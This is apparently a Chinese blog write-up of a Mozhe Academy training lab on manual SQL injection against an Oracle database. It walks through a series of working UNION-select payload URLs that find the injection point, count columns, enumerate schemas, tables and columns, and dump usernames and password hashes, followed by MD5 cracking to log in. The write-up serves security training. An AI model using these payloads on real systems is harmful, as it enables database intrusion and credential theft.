Oracle数据库注入-墨者学院(SQL手工注入漏洞测试(Oracle数据库))

        本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Oracle数据库)。

        地址:http://124.70.22.208:42948/new_list.php?id=1(注意地址已失效仅供参考)

        首先还是先构造payload来检测是否存在注入点

        Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2

 

        发现回显没有显示id=1 的数据,说明id此处存在注入点。

        然后开始爆破字段个数。

        构造payload :“http://124.70.22.208:42948/new_list.php?id=1 order by 2”

http://124.70.22.208:42948/new_list.php?id=1 order by 2

        Order by是数据库查询的时候对结果进行的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后面写的是数字,该数字大于所查询的字段数,则就会报错,小于的话就不会报错。

 

        注意到“order by 3”的时候没有数据回显,而“order by 2”的时候有数据回显,说明后端查询语句所查询的字段为2。 

        接下来我们先测试这两个字段查询结果的回显位置。

        构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select '1','2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select '1','2' from dual

        其中dual是Oracle中的一个实际存在的表,任何用户均可读取,常用在没有目标表的select语句块中。Oracle中的dual表是一个单行单列的虚拟表。

从回显结果中我们可以看到字段查询结果展示在前端的位置。

        接下来就开始查询数据库

        构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual

        其中all_tables表中的owner字段为数据库名,where rownum=1的意思是只展示一行结果。

        查询SYS以外的其他数据库可以用“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1 and owner not in ('SYS')),'2' from dual” 

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1 and owner not in ('SYS')),'2' from dual

查询完表之后就是查询表名了

        构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual”此查询结果为当前数据库下的表名。

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual

user_tables 这张表中存放了所有的表名。

 

查询其他表名时我们也可以用“and table_name not in (‘已查到的表名’)”来查询 。

如:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$')),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$')),'2' from dual

              这里我们为了方便,我们直接使用模糊查询来查询user表。

        Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%'),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%'),'2' from dual

              使用“table_name not in (‘sns_users’)”来确保是否只有这一张user表。

        Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%' and table_name not in ('sns_users')),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%' and table_name not in ('sns_users')),'2' from dual

 

发现没有回显数据,说明只有sns_users 一张user表。

接下来就开始查询字段。

        构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual

all_tab_columns表存放所有的字段名。

        然后使用“and column_name not in (‘USER_NAME’)”来爆出其他字段名

        Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual

        这样我们就查询到了存放用户名跟密码的字段名,接下来就是查询数据了。

   构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users"”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users

        注意:小伙伴们一定要记得“sns_users”表名一定加上英文的双引号,应该是Oracle数据库的特性,不然的话不会回显数据!

                    也可以用“where USER_NAME <> 'hu'”来检差除了‘hu’是否还存在其他用户。

        Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where USER_NAME <> 'hu'”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where USER_NAME <> 'hu'

发现还存在mozhe的用户,大家也可以继续尝试。 这里就不再演示了。

        这样最终我们就可以获得数据了,将密码进行MD5解密(md5在线解密破解,md5解密加密),返回登录页进行登录,划到页面最下端就可以看到KEY了。

  • 7
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值